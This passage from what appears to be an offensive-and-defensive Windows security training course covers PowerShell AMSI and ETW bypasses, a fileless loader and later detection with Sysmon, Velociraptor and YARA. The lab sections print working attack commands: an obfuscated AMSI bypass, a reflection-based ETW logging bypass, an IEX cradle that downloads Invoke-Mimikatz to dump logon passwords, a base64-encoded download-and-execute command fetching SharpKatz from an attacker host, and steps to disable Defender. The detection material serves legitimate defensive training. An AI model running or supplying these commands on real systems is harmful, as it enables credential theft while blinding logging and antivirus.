    • Retrieves the System.Management.Automation.Tracing.PSEtwLogProvider type, a Powershell-specific wrapper around the .NET ETW functionality.
  • .GetField('etwProvider','NonPublic,Static').GetValue($null):
    • Retrieves the etwProvider field of the PSEtwLogProvider class, a non-public static field holding a reference to the EventProvider instance used by Powershell.
  • ,0:
    • Sets the m_enabled field to 0 (false), disabling ETW events for the Powershell EventProvider.

We can split this command into multiple lines for better readability:

image

Below is a diagram that illustrates how this ETW bypass works:

Screenshot

  • Powershell uses the .NET EventProvider class to generate ETW events.
  • The PSEtwLogProvider class in Powershell acts as a bridge, holding the specific EventProvider instance used for Powershell logging.
  • The m_enabled field within the EventProvider class controls whether events are actually emitted.
  • By using reflection, the code directly accesses and modifies this internal m_enabled field, setting it to 0.
  • This prevents the Powershell EventProvider from generating ETW events, effectively bypassing ETW logging for that Powershell process.

Let's demonstrate running the obfuscated AMSI bypass first, then the ETW bypass:

  • On your Windows machine, open a new PowerShell prompt with Administrator privileges and run the obfuscated AMSI Bypass from the previous lab in the same PowerShell terminal:
cd C:\THEV\Labs\amsi
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
  • On your Windows machine, from the same PowerShell prompt (with Administrator privileges) run the obfuscated AMSI Bypass from the previous lab in the same PowerShell terminal:
[Ref].ASseMBly.gETTYPE(('S'+("{1}{0}{2}" -f 's','y','tem.M')+'a'+'nag'+'em'+("{0}{2}{3}{1}"-f'ent','ation.A','.Auto','m')+("{0}{1}" -f'ms','iU')+'ti'+'ls')).getFIeLd((("{0}{1}" -f'ams','iI')+("{0}{1}" -f 'ni','tFa')+("{1}{0}" -f'ed','il')),(("{0}{1}{2}" -f 'N','onPu','bl')+'ic'+','+("{0}{1}"-f 'Sta','tic'))).seTVAlUE(${NU`ll},${t`RUE})
  • Open ELEX and check the powershell logs - you should see the AMSI bypass in there.

Image

  • Now run the unobfuscated ETW bypass in the same powershell terminal:
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
  • Go back toELEX and check the powershell logs - you won't see any new events.

Image

  • After the ETW patch let's use a simple write-host command to see if it works, and check eventviewer for logs:
write-host "This should not show up in your powershell logs, as ETW is patched!!!"
  • Go back toELEX and check the powershell logs - you won't see any new events.

Image

Now let's run Mimikatz from memory with IEX (Invoke Expression) again, if all goes well, AMSI and ETW should be patched and the script will run without any logs being generated:

  • On your Windows machine, from the same PowerShell prompt (with the applied ETW and AMSI patches) with Administrator privileges:
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"';

Image

Success we bypassed both AMSI and ETW! And succesfully ran Mimikatz from memory, dumping credentials, without any logs being generated!

  • Go back toELEX and check the powershell logs - you won't see any new events.

Image

Check Defender Log with powershell:

Verify Defender for most recent alerts

Get-WinEvent -FilterHashtable @{ LogName = "Microsoft-Windows-Windows Defender/Operational"; Id = 1116 } -MaxEvents 1

Image

1.4 KEY POINTS

  • This ETW bypass method relies on internal .NET implementation details and might break if those details change in future .NET or Powershell versions.
  • It only affects the current Powershell process - so it's not a system wide change.
  • It is very effective at disabling the ETW logging from within Powershell.
  • This is a user-mode technique - it doesn't require kernel-mode access or drivers.
  • This technique is commonly used by malicious actors.
  • EDR solutions monitor for this type of activity.

We can can now continue to the next lab where we'll writer our own powershell loader which applies both the AMSI and ETW bypasses before loading any payloads.

CLEANUP

On your Windows machine:

  • Close all command prompts, and PowerShell windows.

1. LAB - POWERSHELL LOADER

IMPORTANT : Please do not send submit samples to Virus Total or any other public virus-scanning services, unless specifically instructed. We don't want to burn our payloads for this training. Make sure at all times that sample submission in Microsoft Defender is turned off, and if for some reason you get prompted to submit a sample, deny the request.

In this lab we'll be showing how Powershell can load assemblies (compiled .net binaries) in memory and execute them, we'll also demonstrate how AMSI catches this, how we bypass this and how we make this attack completely fileless (memory only).

IMPORTANT: For this lab we will TURN OFF Windows Defender. We first need to make sure our POC Powershell loader works, then we will deal with bypassing Defender later on in this lab.

1.1 DISABLE WINDOWS DEFENDER

  • Check if Defender is turned ON by running the checkav.ps1 script:

image

  • On your Windows machine, open a Powershell prompt with Administrator privileges:
c:\thev\labs\powershell\av_check.ps1
  • If Defender is turned on - run the following script to turn it OFF:
c:\thev\labs\powershell\av_disable.ps1

1.2 SHARPKATZ DOWNLOAD AND COMPILE

  • On your Windows machine, open a Powershell prompt with Administrator privileges:
cd \THEV
git clone https://github.com/crimsoncore/SharpKatz
  • Open the SharpKatz.sln solution located in C:\THEV\SharpKatz\SharpKatz.sln with Visual Studio 2019 and build the project:

Makes sure to set the build configuration to Release and the platform to x64 before building the solution.

image

image

  • On your Windows machine, open a Powershell prompt with Administrator privileges and copy the sharpkatz.exe file to C:\THEV\LABS\PSLoader:
cp C:\THEV\SharpKatz\SharpKatz\bin\x64\Release\SharpKatz.exe C:\THEV\LABS\PSLoader\SharpKatz.exe
  • On your kali machine go to "/opt/Havoc" and create the "assemblies directory"
cd /opt/Havoc
mkdir assemblies

And let's also upload it to our kali machine:

  • From a Powershell prompt with Administrator privileges type (enter the password when pompted`):
scp C:\THEV\SharpKatz\SharpKatz\bin\x64\Release\SharpKatz.exe Threatadmin@kali:/opt/Havoc/assemblies/SharpKatz.exe

NOTE: You can also do with with Updog2, but don't forget to start updog2 in the "/opt/Havoc/assemblies" directory first!

NOTE: We're uploading SharpKatz to our kali machine so we can host it with a webserver later on, in order to download it with our Powershell loader script. Pay attention, we're uploading it to "/opt/Havoc/assemblies/" - not to the payloads directory, this is because of no good reason at all :).

1.3 BASE64 ENCODE SHARPKATZ.EXE

  • On your Windows machine, open a Powershell prompt with Administrator privileges and run the base64 encode Powershell script:
cd \THEV\Labs\PSLoader 
.\b64encoder.ps1 C:\THEV\LABS\PSLoader\SharpKatz.exe

image

If you open that b64 file, you should see the Base64 encoded file (SharpKatz.b64) contents of the SharpKatz.exe binary.

image

Let's also upload our Base64 encoded SharpKatz binary to our kali machine (also shown in the screenshot above):

  • On your Windows machine, use the current Powershell prompt with Administrator privileges and type:
scp C:\THEV\LABS\PSLoader\SharpKatz.b64 Threatadmin@kali:/opt/Havoc/assemblies/SharpKatz.b64

NOTE: You can also do with with Updog2, but don't forget to start updog2 in the "/opt/Havoc/assemblies" directory first!

1.4 REMOTE POWERSHELL IN-MEMORY LOADER FOR .NET ASSEMBLIES (I.E. SHARPKATZ)

In this section we'll create a Powershell script that will download the Base64 encoded SharpKatz binary from our kali server, decode it and execute it in memory without touching disk.

ADVANTAGES of .net binaries -> can be loaded and executed completely in-memory (fileless)

  • On our Kali machine we need to setup up a webserver to host our payload (Base64 encoded SharpKatz binary):
cd /opt/Havoc/assemblies
updog2
  • The following is a simple Powershell script that will fetch the Base64 encoded payload, it will perform a Base64 decoding and execute the binary in memory without touching disk.

image

From an abstract level this is what we're going to do:

image

So let's go through the script step by step:

  • We define the URL of our Base64 encoded SharpKatz binary hosted on our kali server,

  • We use Invoke-WebRequest to download the Base64 encoded string from our kali server and store it in a variable ($base64Assembly),

  • We use [System.Convert]::FromBase64String to decode the Base64 string into a byte array,

  • We use [Reflection.Assembly]::Load to load the byte array as a .NET assembly in memory (this will trigger an AMSI scan!, but since we turned off Defender earlier, it will load successfully),

  • And finally we can execute the Main method of the SharpKatz assembly (we have the source code, so we can simply find those in the code - or use tools likes dnSpy).

      1. We need to call the right namespace SharpKatz,
      1. and class name, in this case Program
      1. We need to call the Main method, which also accepts arguments (i.e. logonpasswords, etc)

Below you can see the source code of SharpKatz where we can find the namespace, class and method names:

image

  • We'll upload the PSLoaderB64remoteSharpKatz.ps1 to our kali server:

  • On your Windows machine, from a Powershell prompt with Administrator privileges:

scp C:\THEV\LABS\PSLoader\PSLoaderB64remoteSharpKatz.ps1 Threatadmin@kali:/opt/Havoc/assemblies/PSLoaderB64remoteSharpKatz.ps1
  • Make sure your PSLoaderB64remoteSharpKatz.ps1 and Sharpkatz.b64 are successfully copied to the kali machine:

  • On your kali open a terminal and type:

cd /opt/Havoc/assemblies
ls *SharpKatz*

image

1.5 IEX (INVOKE-EXPRESSION)

IEX is the alias for the Powershell cmdlet Invoke-Expression. It takes a string containing Powershell code and executes it as if it were typed directly into the Powershell session. Basically IEX allows dynamic execution of remote code (in memory), without our Powershell script ever touching disk.

Let's execute our PSLoader script without touching disk - completely in memory. We use IEX (Invoke-Expression) for this.

NOTE: Make sure you have cleared the PowerShell Operational event log before running this, so we can see only the events generated by our script.

  • On your Windows machine, from a Powershell prompt with Administrator privileges:
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
cd \THEV\Labs\PSLoader 
IEX(New-Object Net.WebClient).DownloadString("http://kali:9090/PSLoaderB64remoteSharpKatz.ps1")

With Invoke-Expression (IEX) we download the Powershell script from our kali server and execute it in memory. When the script executes, it downloads the Base64 encoded SharpKatz binary, decodes it and executes it in memory. When the script finishes executing, there is no trace of it on disk, everything happened in memory.

On your Kali machine you should see the the ps1 being fetched and then the b64 file being fetched:

image

1.6 BASE64 ENCODING (OBFUSCATION)

A very common technique to obfuscate Powershell commands is to use Base64 encoding. This makes it harder for security tools and analysts to quickly read and understand the command, as it is not in plain text. we're going to Base64 encode our Powershell command that uses IEX to download and execute our PSLoaderB64remoteSharpKatz.ps1 script.

  • On your Windows machine, from the same Powershell prompt with Administrator privileges:
$command = 'IEX(New-Object Net.WebClient).DownloadString("http://kali:9090/PSLoaderB64remoteSharpKatz.ps1")'
  • And then Base64 encode it:
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command))

This will output the Base64 encoded version of our Powershell command:

SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvAGsAYQBsAGkAOgA5ADAAOQAwAC8AUABTAEwAbwBhAGQAZQByAEIANgA0AHIAZQBtAG8AdABlAFMAaABhAHIAcABLAGEAdAB6AC4AcABzADEAIgApAA==

FORENSIC TIP: Cyberchef https://gchq.github.io/CyberChef/, is a great tool to decode Base64 encoded strings and analyze obfuscated commands (and all kinds of other obfuscation techniques).

image

Now we'll run this Base64 encoded command using Powershell -enc (encoded command):

  • On your Windows machine, from the same Powershell prompt with Administrator privileges:
powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvAGsAYQBsAGkAOgA5ADAAOQAwAC8AUABTAEwAbwBhAGQAZQByAEIANgA0AHIAZQBtAG8AdABlAFMAaABhAHIAcABLAGEAdAB6AC4AcABzADEAIgApAA==

You will see the same output as before, but now the command is obfuscated using Base64 encoding.

image

And on Kali we see the second request for the .ps1 script and b64 file - just like before but now we're using the Base64 encoded version of the command:

image

COMMONLY USED POWERSHELL PARAMETERS

ParameterDescriptionWhy Malicious Actors Use This
-nopNo ProfileBypasses PowerShell profile scripts that might contain security configurations, logging, or detection mechanisms
-nonINo InteractivePrevents interactive prompts that could halt automated malicious scripts or reveal malicious activity to users
-w hiddenWindowStyle HiddenHides the PowerShell window from the user to maintain stealth and avoid detection during malicious operations
-encEncodedCommandObfuscates malicious PowerShell commands using Base64 encoding to evade signature-based detection and analysis

1.7 DETECTION TESTING

So our POC Powershell script works, but let's see if Windows Defender detects this.

  • Check if Defender is turned OFF (It should be as we turned it off at the beginning of this lab) by running the checkav.ps1 script on your Windows machine by opening a Powershell prompt with Administrator privileges:

C:\thev\labs\powershell\av_check.ps1
  • The output should be like this:

image

IMPORTANT: Make sure Real-Time Protection is enabled and the rest is disabled - if this is not the case just run the following script, it will configure the right settings.

  • On your Windows machine, from a Powershell prompt with Administrator privileges:
C:\thev\labs\powershell\av_enable.ps1
  • The output should be like this :

image

Now run your Powershell loader again and see if Defender catches this:

  • On your Windows machine, open a new Powershell prompt with Administrator privileges:
IEX(New-Object Net.WebClient).DownloadString("http://kali:9090/PSLoaderB64remoteSharpKatz.ps1")

Defender will catch this and block the execution, we can check this by running the following command:

  • Use powershell to check the last detection:
Get-MpThreatDetection | Sort-Object InitialDetectionTime -Descending | Select-Object -First 1

image

Below is a brief overview of the DetectionSourceTypeID values:

DetectionSourceTypeIDMeaning
1User Initiated: Detection from a user-initiated scan, such as a manual scan triggered via the Windows Defender UI or command line (e.g., MpCmdRun.exe).
2System: Detection by real-time protection or scheduled scans performed by the Windows Defender service.
3Real-Time: Detection by real-time protection monitoring file or process activity.
4IOAV: Internet Explorer or Edge browser download protection (e.g., SmartScreen or Internet-based Object AV).
5NI: Network Inspection system, detecting threats in network traffic.
6Reputation: Detection based on cloud-based reputation analysis (e.g., file or URL reputation checks).
7Behavior Monitoring: Detection based on behavioral analysis of processes or scripts.
8Remote Attestation: Detection from remote attestation services, often related to device health or compliance checks.
9On-Demand: Detection from an on-demand scan, such as a custom scan initiated programmatically.
10AMSI: Antimalware Scan Interface, detecting threats in scripts or in-memory content (e.g., Powershell, VBA, or .NET assemblies).
11Exploit Protection: Detection by Windows Defender Exploit Guard or other exploit mitigation features.
12Controlled Folder Access: Detection by Controlled Folder Access, which protects against ransomware by monitoring folder access.
13Application Guard: Detection within Microsoft Defender Application Guard (isolated browsing environment).
14Custom: Detection from a custom or third-party integration with Windows Defender.
15SmartScreen: Detection by Windows Defender SmartScreen, typically for files downloaded from the internet.
16WMI: Detection of threats involving Windows Management Instrumentation, such as malicious WMI persistence techniques.
  • Check the eventlogs using Powershell:
Get-WinEvent -LogName "Microsoft-Windows-Windows Defender/Operational" | 
    Where-Object { $_.TimeCreated -ge (Get-Date).AddMinutes(-30) -and $_.Id -in (1116, 1117) } | 
    Sort-Object TimeCreated -Descending | 
    Select-Object -First 1 | 
    Select-Object Message | 
    Format-List

image

  • Or use Eventviewer/EventLogExplorer:

image

NOTE: Windows Defender detects and blocks this but doesn't generate a user notification!

1.8 CLEANUP

On your Kali machine:

  • Stop the updog server in the terminal it's running in by pressing CTRL+C.

On your Windows machine:

  • Close all command prompts, and PowerShell windows.

Detections & IOCS's suspicious powershell activity

Here's a list of detections and IOC's that can be used to identify the activity from the PSLoader lab with SharpKatz.

1. Powershell Logs (EventID 4104)

By having a look in the prowershell event logs, we can see the powershell commands that were executed. If you have enabled logging of module loads, you can also see the loaded assemblies (like SharpKatz).

1.1 SUSPICIOUS POWERSHELL PARAMETERS TO LOOK FOR

ParameterAlternative ParametersFull NameDescriptionWhy Malicious Actors Use ThisDetection Notes
-nop-NoProfile, -NoPNo ProfileSkips loading PowerShell user profilesBypasses PowerShell profile scripts that might contain security configurations, logging, or detection mechanismsLook for PowerShell executions without expected profile loading
-nonI-NonInteractive, -NonINon InteractiveRuns PowerShell in non-interactive modePrevents interactive prompts that could halt automated malicious scripts or reveal malicious activity to usersMonitor for automated PowerShell execution patterns
-w hidden-WindowStyle Hidden, -w h, -wi hWindowStyle HiddenHides the PowerShell windowMaintains stealth by preventing users from seeing PowerShell execution windowsDetect hidden window PowerShell processes via process monitoring
-enc-EncodedCommand, -e, -ecEncodedCommandExecutes Base64 encoded PowerShell commandsObfuscates malicious PowerShell commands to evade signature-based detection and analysisHigh priority IOC - Base64 encoded commands in PowerShell logs
iexInvoke-Expression, IEX (alias)Invoke-ExpressionExecutes string as PowerShell commandEnables dynamic code execution from downloaded or constructed stringsMonitor for IEX usage with network downloads or obfuscated strings
DownloadStringDownloadString(), .DownloadStringWebClient.DownloadStringDownloads content from URL as stringDownloads malicious scripts/payloads from remote servers for executionMonitor for DownloadString usage in PowerShell logs
http://http://, HTTP traffic from PowerShellHTTP ProtocolDownloads content over unencrypted HTTPUses unencrypted HTTP to download payloads, avoiding HTTPS inspectionMonitor for HTTP URLs in PowerShell commands and network connections
webclientWebClient, New-Object Net.WebClient, System.Net.WebClientSystem.Net.WebClient.NET class for web operationsDownloads files and data from web servers programmaticallyMonitor for WebClient instantiation in PowerShell logs

1.2 Decoded Base64 commands in powershell event logs, (requires GPO to be enabled):

  • On your Windows machine, open ELEX (Event Log Explorer) and open the workspace called "WORKSPACE_PSLoader.ELX"

image

  • Navigate to the folder "c:\THEV\Labs\PSLoader\" and open the workspace called "WORKSPACE_PSLoader.ELX"

image

This workspace has been pre-configured (Custom filter, color coding and columns) for you with the relevant event logs and filters. We have some color-coding going on here:

image

image

The color coding already gives away some hints, but if you have tons of powershell events, you can use the filter to only show events with -enc or iex in them.

  • Click on the filter icon in the toolbar to open the filter window (it's already pre-poluated with event ID 4104).

image

  • You can load custom filters by clicking on Load at the bottom, navigate to "c:\THEV\Labs\PSLoader\" and select the file called FILTER_pwsh_IEX.elc

image

We have also configured some custom columns for you, so you can see the commandline used.

  • Simply right-click on the column header and select Choose columns... to add or remove columns.

image

You should see the following, all powershell events that have IEX in them:

image

1.3 Encoded Base64 commands in powershell event logs.

Attackers often use Base64 encoding to obfuscate their commands, making it harder for defenders to quickly identify malicious activity. By filtering for -enc in the powershell event logs, we can find these encoded commands.

  • Go back to your filter and change the Text in description to -enc:

image

image

1.4 Complete content of the script block:

When attackers use IEX to download and execute scripts, the complete content of the script block is often logged in the powershell event logs. This can include the actual script being executed, as well as any loaded assemblies (like SharpKatz).

  • Go back to your filter and change the Text in description to SharpKatz:

image

You will see the complete content of the script block, which includes the loaded assembly (SharpKatz).

image

2 . Powershell Hunter

PowerShell-Hunter is a growing collection of PowerShell-based threat hunting tools designed to help defenders investigate and detect malicious activity in Windows environments. This project aims to provide security analysts with powerful, flexible tools that leverage PowerShell's native capabilities for threat hunting.

https://github.com/MHaggis/PowerShell-Hunter

image

Open a PowerShell terminal as administrator and navigate to the folder "c:\THEV\Labs\PSLoader\" and run the following command, it will analyze the powershell event logs and filter them based on the patterns in the Patterns.csv file.:

cd c:\THEV\Labs\PSLoader\
 .\Analyze-PowerShellEvents.ps1 -PatternFile "Patterns.csv" -OutputFile "FilteredEvents.csv"

image

You can choose the output format, either CSV or JSON. In this case, we are using CSV. If you open this with Excel or Visual Studio Code, you will see the filtered events based on the patterns in the Patterns.csv file.

NOTE: Install CSV plugin in Visual Studio Code to view CSV files.

  • In visual studio code go to extensions and search for "CSV" and install the one by "ReprEng"

image

When you open the CSV file in Visual Studio Code, it will look like this:

image

3. SYSMON EVENTID 3 - NETWORK CONNECTIONS

Powershell.exe making network connections to the internet is suspicious in itself, but especially when it downloads and executes scripts. We can detect this with with sysmon (or your EDR of choice), by monitoring network connections from powershell.exe.

image

NOTE: This detection is already added to your sysmon config file.

  • On your Windows machine, open ELEX (Event Log Explorer) and open the workspace called "WORKSPACE_Sysmon3.ELX" located in the folder "c:\THEV\Labs\PSLoader\"

image

You can see the filter is already pre-configured for you to look for powershell.exe and event ID 3 (network connections). We also configured some custom columns for you, so you can see the User, Source host name, Destination host name, and Destination port.

image

And the output will look like this:

image

NOTE: Since we are tagging our sysmon rules with names, you can also filter on the RuleName column for Powershell Network Connections to find the relevant events.

4. SYSMON EVENTID 1 - PROCESS CREATION

When attackers use powershell to download and execute scripts, they often use specific parameters to obfuscate their activity. We can detect this with sysmon (or your EDR of choice), by monitoring process creation events for powershell.exe with specific command line parameters.

image

NOTE: This detection is already added to your sysmon config file.

  • On your Windows machine, open ELEX (Event Log Explorer) and open the workspace called "WORKSPACE_Sysmon1.ELX" located in the folder "c:\THEV\Labs\PSLoader\"

image

You can see the filter is already pre-configured for you to look for powershell.exe with the parameters powershell.exe" -enc in the command line. Always check how the events are formatted - you can see sysmon logs the full path to powershell.exe between "" and then the parameters.

image

And the output will look like this:

image

INCIDENT REPONSE

When incident response teams investigate a potential compromise involving PowerShell-based attacks, they often look for specific Indicators of Compromise (IOCs) and artifacts that can help identify malicious activity. More often than not incident responders will not have physical access to the compromised machine, so they will have to rely on logs and artifacts that are collected remotely.

Let's use Velociraptor to hunt for the above IOC's and artifacts (-enc,-nop,-nonI,-w hidden, iex, http, WebClient) in powershell logs.

  • On your Windows machine, open Velociraptor in your chrome browser by opening the URL: https://kali:8889/app/index.html#/dashboard/:
  • Navigate to the Hunt Manager in the left side menu (icon with the crosshair) Click on + in the top left corner

image

  • Click on Select Artifacts on the bottom of the screen, typoe powershell in the search box at the top and select the artifact called Windows.EventLogs.PowershellScriptBlock.

image

  • Click on Next: Configure Parameters on the bottom right of the screen.
  • Set the SearchStrings to "http|webclient|enc|iex"
  • set the LogLevel to All - Don't forget this!
  • Click on Launch on the bottom right of the screen.

image

You will see a new hunt in paused state.

  • click on the play button to start the hunt.

image

Wait until the hunt is finished, then click on the notebook tab to see the results. This will hunt through the powershell event logs for the above IOC's, instead of downloading the entire event log, which would take more time and bandwidth.

image

  • Click on the Download button to download the results in CSV format.

image

The query results will be saved to your Downloads folder.

image

  • Open Visual Studio Code and open the downloaded CSV "Query1.csv" file, located in your Downloads folder. don't just double-click the file, for some reason the csv extension doesn't load that way.

image

image

When you open the CSV file in Visual Studio Code, it will look like this:

image

This was a simple example of how to use Velociraptor to hunt for IOC's and artifacts in powershell logs. You can use the same approach to hunt for other IOC's and artifacts in other logs as well.

Static Analysis

TL;DR In this chapter we'll have a look at basic signature based AV evasion techniques. We'll use strings.exe and yara to explain the basic principles of pattern matching and modify existing malicious tools to bypass signature based detections. We'll also use a few other tools that do static analysis such as HxD, PEStudio and GoCheck... For .NET binaries DNSpy and DotPeek are very useful.

Static Analysis vs. Dynamic Analysis Performing static analysis first is typically a better approach as it will allow us to ask better questions when we actually go and execute the code in a sandbox or virtual environment Dynamic Analysis.

1. PE Format Analysis

1.1 PE Format (Unmanaged code i.e. C, C++, etc)

Screenshot

1.2 PE Format (.NET code and where it's different)

Screenshot

  • OFFSET : location of the byte value in a program image

1.3 Hex Editor Analysis (HxD)

  • MZ Header: DOS header signature indicating a valid PE file
  • "This program cannot run in DOS mode": Standard DOS stub message
  • Null bytes (0x00): Padding and alignment in the binary structure
  • .text Section: Contains the actual executable code
  • .rsrc Section: Holds information on the .NET Assembly Information, manifest (needed for the CLR to load the assembly), and icons
  • ImageBase: Virtual memory address where the image gets loaded
  • AddressOfEntryPoint: Relative virtual address (RVA) of the entry point function
  • ImageBase + AddressOfEntryPoint: Absolute virtual address of the program's entry point in memory (used by debuggers like IDA/x64dbg)

2. String Analysis

2.1 What are Strings?

  • Human-readable text sequences in binary files (e.g., executables, memory dumps).
  • May include URLs, IPs, commands, or error messages.

2.2 Forensic Uses

  1. Malware Analysis: Identify behavior, networks, or obfuscated text.
  2. Evidence Extraction: Recover passwords, filenames, or memory fragments.
  3. Correlations: Match artifacts across files/systems.
  4. Reverse Engineering: Understand program logic or libraries used.

2.3 Tools

  • Basic: strings64.exe command (extract ASCII/Unicode strings from binaries) - Part of Sysinternals Suite
  • Medium: floss by Mandiant
  • Advanced: Volatility, IDA Pro, Ghidra for deeper analysis.

2.4 Challenges

  • False Positives: Some strings are irrelevant.
  • Obfuscation: Text may be encrypted or encoded by attackers.

2.5 Mining Strings

As useful as looking for strings is (stored in various sections like .data, .rdata, or .text of a PE file), if you don't have a lot of experience in malware analysis, this can become very tedious - you need to know what you're looking for and there can literally be 10,000s of strings in a PE file. Also, malware authors often obfuscate strings, making it even harder to analyze. We'll later use CAPA, which allows you to quickly identify a PE file's capabilities.

For now, let's see what we can learn by simply running strings on our "SharpKatz.exe" file.

image

In PEStudio we can also check this, and PEStudio is so nice to flag suspicious strings for us.

image

Now remember, .NET files are kind of like clear-text code - so they can be easier to investigate. Let's generate a MSFVenom meterpreter payload (c code) - and see what that gives us.

3. Summary

Static analysis provides valuable insights into binary files without execution, helping identify potential threats through string analysis, PE format examination, and signature matching. Tools like HxD, PEStudio, DNSpy, and command-line utilities like strings64.exe are essential for malware analysis and reverse engineering tasks.

YARA: A Tool for Forensics and Malware Detection

YARA (Yet Another Recursive Acronym) is a powerful tool used in cybersecurity to detect and classify malware by creating rules to identify patterns in files, memory, or network traffic.

YARA is a tool aimed at (but not limited to) helping malware researchers to identify and classify malware samples. With YARA you can create descriptions of malware families (or whatever you want to describe) based on textual or binary patterns. Each description, a.k.a rule, consists of a set of strings and a boolean expression which determine its logic.

YARA is owned by Virustotal (yes the site we're not going to submit samples to, understood?) - recently YARA-X was released which is a faster and more user-friendly version of YARA - however, YARA-X can not scan running processes, only files.

NOTE: We're just briefly exploring YARA here - there are entire books written about YARA and its capabilities. For more in-depth information, please refer to the official YARA documentation. We will be using YARA in several labs throughout this course, for now just understand what it is and what it can do.

Key Features

  • Pattern Matching: Scans for specific strings, hex sequences, or behaviors in files.
  • Rules-Based: Allows defining conditions to identify malware traits.
  • Versatility: Works on files, running processes, or memory dumps.

Applications

  • Malware Detection: Identify known malware by their unique signatures.
  • Incident Response: Scan systems for malicious artifacts during investigations.
  • Threat Hunting: Monitor for emerging threats across files and traffic.
  • Reverse Engineering: Assist in analyzing malware samples and libraries.

Why YARA Matters

  • Highly customizable for different security needs.
  • Essential for proactive threat detection and forensic investigations.

Some good Yara resources:

Here's a nice blogpost if you want to learn more about YARA and how to write your own rules: https://medium.com/@avfaulkner/intoduction-to-yara-loki-and-valhalla-for-threat-hunting-63038a0873e0

Another very cool project is Yara Toolkit, which allows you to write and verify yara rules, scan files with a yara rule and much more. You can read more on this blogpost https://blog.securitybreak.io/introducing-yara-toolkit-43dcab9caba1

image

https://yaratoolkit.securitybreak.io/


MINI-LAB on YARA

We'll be using Visual Studio Code (VSCODE) for this lab, if you want you can install YARA support in VSCODE - to get syntax highlighting for YARA files.

Screenshot

  • Open the following YARA rule located in C:\THEV\Labs\yara\PE_Detected.yar in VSCODE:

Screenshot

screenshot

You will see that this rule is looking for the MZ header which is present in all Windows PE files (executables, DLLs, etc) as well as the PE file signature.

  • Now open a command prompt and navigate to C:\THEV\Labs\yara and run the following command to scan a target executable with the above YARA rule:
cd C:\THEV\Labs\Yara
yara64.exe PE_Detected.yar mimikatz.exe

We see here that the PE_Detected rule has triggered on mimikatz.exe:

image

In the above screenshot you can also see that is we run the same rule against a non-PE file (a text file in this case) it does not trigger.

Let's open Mimikatz.exe in a 010 hex editor (you can use HxD or any other hex editor of your choice) and look at the first few bytes of the file:

image

image

As you can see the first two bytes are 4D 5A which is MZ in ASCII, indicating that this is a PE file. A bit further down we can also see the PE signature (50 45 00 00).

We'll do a deep dive in the PE File format later in the course, for now just understand that YARA can be used to identify certain file types based on their headers and signatures. We can also create more complex rules to identify malware families based on unique strings or byte patterns - which we'll do next.

YARA-X GUI

NOTE: YaraXGUI can only scan files, not memory or processes - for that you need to use the command line version of YARA.

You can find the yara rule (which has multiple signatures for Mimikatz) in C:\THEV\Labs\Yara\mimikatz.yar. Below is an example of how Defender detects Mimikatz:

image

If we now use YaraXGUI (you can use the command line if you prefer) and scan mimikatz downloaded from its github repo, we see the following

  • Open a command prompt and let's start YaraXGUI.
YaraXGUI.exe
  • (1) Click on Browse YARA File and select the mimikatz.yar file located in C:\THEV\Labs\Yara\mimikatz.yar
  • (2) Click on Select Folder and select the C:\THEV\Labs\Yara\mimikatz folder (this will scan all files in the folder)
  • (3) Click on compile to compile the yara rule
  • (4) Click on Start Scan
  • (5) After the scan is complete you will see files that matched the yara rule in the top right pane, Click on a file to see which rules matched in the bottom right pane
  • (6) You will see that multiple rules matched for mimikatz.exe

image

Detect Havoc C2 Payload in MEMORY

Let's create use YARA rule to detect the Havoc C2 framework in memory. Havoc is a popular open-source command and control (C2) framework used by red teams and adversaries for post-exploitation activities. We'll need to use yara64.exe for this lab as it supports scanning process memory.

The following blogpost goes into detail about the Havoc C2 framework and how to detect it using YARA (and as Havoc is open source, keep in mind that adversaries can also use these same techniques to evade detection!):

https://www.immersivelabs.com/resources/blog/havoc-c2-framework-a-defensive-operators-guide

image

Let's Run a Havoc C2 agent on your Windows 10 machine, and then run the YARA rule against the process ID of the demon.x64.exe process (in this case 7188).

  • Open a command prompt and navigate to C:\temp, where we have downloaded the demon.x64.exe file in one of the previous labs, and run it
cd c:\temp
demon.x64.exe
  • Open System Informer or Task Manager to get the PID of demon.x64.exe (in this case 7188), you'll have to change this with the actual PID on your system.

image

  • From the same command prompt, run the YARA rule against the process memory of demon.x64.exe, use the PID you found in the previous step (this will be different on your system from the screenshot above and the command below):
cd C:\THEV\Labs\Yara
yara64.exe havoc-c2-memory.yar 6260

image

We can see here that the Havoc_C2_Agent_Memory rule has triggered on the demon.x64.exe process in memory.

TIP: You can actually use VELOCIRAPTOR to run a yara scan on certain files and processes!

CONCLUSION

YARA is an essential tool in the arsenal of cybersecurity professionals, enabling them to detect and classify malware effectively. Its versatility and powerful pattern-matching capabilities make it invaluable for malware detection, incident response, threat hunting, and reverse engineering. By mastering YARA, security practitioners can enhance their ability to protect systems and respond to threats proactively.

1. LAB - Static Analysis

IMPORTANT : Please do not send submit samples to Virus Total or any other public virus-scanning services, unless specifically instructed. We don't want to burn our payloads for this training. Make sure at all times that sample submission in Microsoft Defender is turned off, and if for some reason you get prompted to submit a sample, deny the request.

1.1 PREFACE

Is it safe to drop a binary to disk?. Well it is, if you can bypass Static Analysis (Signatures, Hashes, Reputation), this is exactly what we'll be doing in this lab - later on in the course we'll continue with make our malicious binaries more legit, but for now let's focus on bypassing AV Signatures.

1.2 TURN DEFENDER ON

For this lab we will enable Microsoft Defender - in order to demonstrate how AMSI works, and how to bypass it.

